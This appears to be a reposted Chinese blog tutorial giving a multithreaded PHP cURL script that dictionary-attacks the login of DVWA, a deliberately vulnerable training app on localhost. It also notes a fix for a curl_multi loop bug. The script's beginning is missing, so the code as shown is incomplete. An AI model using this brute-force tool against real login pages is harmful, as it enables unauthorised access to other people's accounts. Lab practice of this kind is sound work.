CURL多线程破解DVWA登陆密码

独自等待 2017年5月10日16:16:18评论488 views字数 959阅读3分11秒阅读模式

昨天本站发了一个使用CURL单线程破解DVWA登陆密码的脚本,今天继续来玩CURL,这次使用多线程。。

CURL单线程破解DVWA登陆密码

关于PHP的CUR多线程,我参考了网上的不少资料,同时也发现了一些小问题,分享给大家。

淘宝的搜索技术博客上面的CURL方法,关于判断CURL状态的代码,在某些PHP版本情况下会导致死循环。

do {
     $mrc = curl_multi_exec($queue, $active);
 } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   while ($active > 0 && $mrc == CURLM_OK) {
     if (curl_multi_select($queue, 0.5) != -1) {
         do {
             $mrc = curl_multi_exec($queue, $active);
         } while ($mrc == CURLM_CALL_MULTI_PERFORM);
     }
 }

我测试的是php版本是php5.3.13 win7 64位版本下面,直接使用淘宝博客上面的会死循环,改成下面的成功运行。

    $active = null;
    do {
        $mrc = curl_multi_exec($mh, $active); //当无数据,active=true
    } while ($mrc == CURLM_CALL_MULTI_PERFORM); //当正在接受数据时
    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) === -1) {
            usleep(100);
        }
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }

好了,今天来介绍我们的CURL多线程破解DVWA登陆密码的脚本,代码如下:

post_data;
    preg_match('/username\=(.*?)&password\=(.*?)&Login\=%E7%99%BB%E9%99%86/i', $p, $mm);
    $user = $mm[1];
    $pass = $mm[2];
    if (!preg_match('/Location: index.php/', $response, $match)) {
        //print_r($match);
        echo '密码破解失败    ' . '用户名:' . $user . '    密码:' . $pass . PHP_EOL;
    } else {
        echo '密码破解成功    ' . '用户名:' . $user . '    密码:' . $pass . chr(07) . PHP_EOL;
        file_put_contents('result.txt', '密码破解成功    ' . '用户名:' . $user . '    密码:' . $pass . PHP_EOL);
    }
}

$url = 'http://localhost/dvwa/login.php';
$user = 'admin'; //要破解的用户名
$rc = new RollingCurl('dvwa_crack');
$rc->__set('window_size', $threads); //设置线程
$rc->__set('time_out', $timeout); //设置超时时间
//echo $rc->__get('window_size');
$method = 'POST';
//循环进行破解
foreach ($dict as $pass) {
    $pass = trim($pass); //去掉多余字符
    $post_data = "username=$user&password=$pass&Login=%E7%99%BB%E9%99%86";
    $request = new RollingCurlRequest($url, $method, $post_data); //CURLOPT_HEADER显示HTTP头信息 CURLOPT_NOBODY不显示BODY体
    $request->options = array(
        CURLOPT_HEADER => 1,
        CURLOPT_NOBODY => 1
    );
    $rc->add($request);
}
$rc->execute();
//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。';
?>

代码执行过程中会显示当前正在破解的密码,并且会把破解成功以后的密码写入到result.txt文件中,友情提醒,破解成功会有蜂鸣声提示的哦,运行效果如下:

CURL多线程破解DVWA登陆密码

CURL多线程破解DVWA登陆密码

代码参考了某大牛破解yunfile网盘密码,在此感谢,不过大牛的代码在设置破解线程的时候写错了,我这里已经改过来了,不过不知道大牛的联系方式,也不能告诉他,希望他也能看到这个文章吧。。



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日16:16:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CURL多线程破解DVWA登陆密码https://cn-sec.com/archives/50022.html

发表评论

匿名网友 填写信息